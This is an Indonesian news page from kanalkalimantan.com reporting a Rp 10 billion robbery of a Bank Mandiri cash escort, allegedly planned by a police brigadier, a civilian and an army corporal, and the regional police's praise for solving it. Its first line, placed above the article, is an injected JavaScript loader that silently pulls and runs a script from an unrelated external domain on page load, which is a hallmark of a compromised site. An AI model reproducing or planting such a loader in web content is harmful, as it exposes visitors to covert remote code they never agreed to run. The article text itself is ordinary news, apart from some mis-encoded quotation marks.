(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Upaya para tersangka menggondol uang sebesar Rp 10 miliar milik Bank Mandiri ternyata sudah disusun sejak lama. Namun, kecacatan dalam menjalankan aksi tersebut menyebabkan kejahatan ini dengan mudah terbongkar.
Dari sejumlah sumber yang didapatkan kanalkalimantan.com, aksi Brigadir Jumadi tersebut ternyata disusun bersama Yongky dan oknum TNI AD, Kopda Apung. Pada bulan November 2017, terjadilah pertemuan antara Kopda Apung, Brigadir Jumadi dan Yongky berencana melakukan perampokan uang Bank Mandiri Cabang Tanjung.
Rencana jahat tersebut disusun, karena Brigadir Jumadi sudah beberapa kali melaksanakan pengawalan pengambilan uang ke Bank Mandiri Cabang Banjarmasin yang selanjutnya dibawa ke Bank Mandiri Cabang Tanjung.
Kasus ini pun terungkap berawal dari laporan penemuan mobil Pengawalan Bank Mandiri jenis Toyota Avanza Warna Hitam Nopol DD 1182 KE dan dua korban yang dalam kondisi terikat lakban yang diturunkan paksa oleh pelaku.
Maka, satu- persatu misteri kasusini pun akhirnya terkuak. Termasuk keterlibatan oknum anggota TNI AD, Kopda Apung  yang berdinas di Kodim 1008/Tanjung. Hal ini sebagaimana disampaikan Kabid Humas Polda Kalsel AKBP M Rifai, Senin (8/1).
“Ya, telah diamankan oknum anggota TNI AD atas nama Kopda A, dengan jabatan Tamudi (Tamtama Pengemudi) Ramil 01/Muarauya, Kodim 1008/Tanjung,” katanya.
Keterlibatan Kopda Apung ini karena yang bersangkutan ikut membuat perencanaan, termasuk mengantar tersangka Yongki untuk bertemu Jumadi guna merampok pengiriman uang milik Bank Mandiri.
Di sisi lain, keberhasilan pengungkapan secara cepat membuat bangga Kapolda Kalsel Brigjen Rahmat Mulyana. Bahkan dia menjanjikan reward atau penghargaan kepada anggotanya . “Saya sudah lapor Kapolri, otomatis yang berprestasi saya kasih reward, termasuk Direktur Reskrimumnya,†kata Kapolda.
Rachmat mengaku bangga atas kinerja yang ditunjukkan anggotanya. Tim khusus yang dibentuknya, dikomandani Direktur Reserse Kriminal Umum (Reskrimum) Polda Kalsel Kombes Pol Sofyan Hidayat, berhasil mengungkap kasus perampokan uang Bank Mandiri senilai Rp 10 miliar itu kurang dari 24 jam.
“Begitu mendapat laporan, saya perintahkan semuanya turun. Dan, ini adalah buah kerja keras tim yang solid dan kebersamaan yang kokoh demi terungkapnya sebuah kasus tindak pidana,†tegas Kapolda. (tim kanalkalimantan)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.